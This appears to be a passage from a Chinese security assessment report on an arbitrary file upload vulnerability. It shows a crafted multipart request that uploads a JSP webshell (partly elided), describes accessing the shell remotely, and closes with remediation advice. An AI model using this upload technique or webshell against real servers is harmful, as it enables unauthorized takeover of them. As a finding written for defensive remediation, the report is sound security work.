上传漏洞允许攻击者通过上传木马文件,直接获取web服务器的权限。图片上传模块存在任意文件上传漏洞,通过修改图片上传传输页面的数据包可以上传木马文件,并最终获取到服务器的权限,如下图所示。
木马程序如下:
------WebKitFormBoundaryS5DF515w3dmuH4em
Content-Disposition: form-data; name="file"; filename="webshell.jsp"
Content-Type: text/html
<%@page pageEncoding="utf-8"%>
<%@page import="java.io.*"%>
<%@page import="java.util.*"%>
<%@page import="java.util.regex.*"%>
。。。。。。。。。此处代码省略。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
bout.close();
out.flush();
((Invoker) ins.get("bottom"))
.invoke(request, response, session);
((Invoker) ins.get("after")).invoke(request, response, session);
}
%>
------WebKitFormBoundaryS5DF515w3dmuH4em
Content-Disposition: form-data; name="uploadPath"
people
------WebKitFormBoundaryS5DF515w3dmuH4em
Content-Disposition: form-data; name="uploadFloderPath"
------WebKitFormBoundaryS5DF515w3dmuH4em
Content-Disposition: form-data; name="isRename"
no
------WebKitFormBoundaryS5DF515w3dmuH4em
Content-Disposition: form-data; name="maxSize"
2
------WebKitFormBoundaryS5DF515w3dmuH4em
Content-Disposition: form-data; name="allowedFile"
------WebKitFormBoundaryS5DF515w3dmuH4em--
最后,找到文件上传的路径,此次文件上传成功后,响应数据包会返回文件上传的物理路径如下图,最后再远程访问该木马文件。
任意文件上传漏洞整改建议:
1、建议对上传文件做有效文件类型判断,网站前台后台均需进行判断,采用白名单控制的方法,开放只允许上传的文件类型,其中文件类型判断应对上传文件的后缀、文件头、图片类型的预览图等做检测来判断文件类型,同时注意重命名上传文件的文件名避免攻击者利用web服务器的缺陷构造畸形文件名实现攻击目的。
2、服务器端读取文件的部分内容作判断,可防止攻击者伪装文件类型上传。
3、权限方面,统一上传模块写入文件的位置并取消上传目录的程序运行权限。
4、使用第三方web防火墙来加固整个网站系统。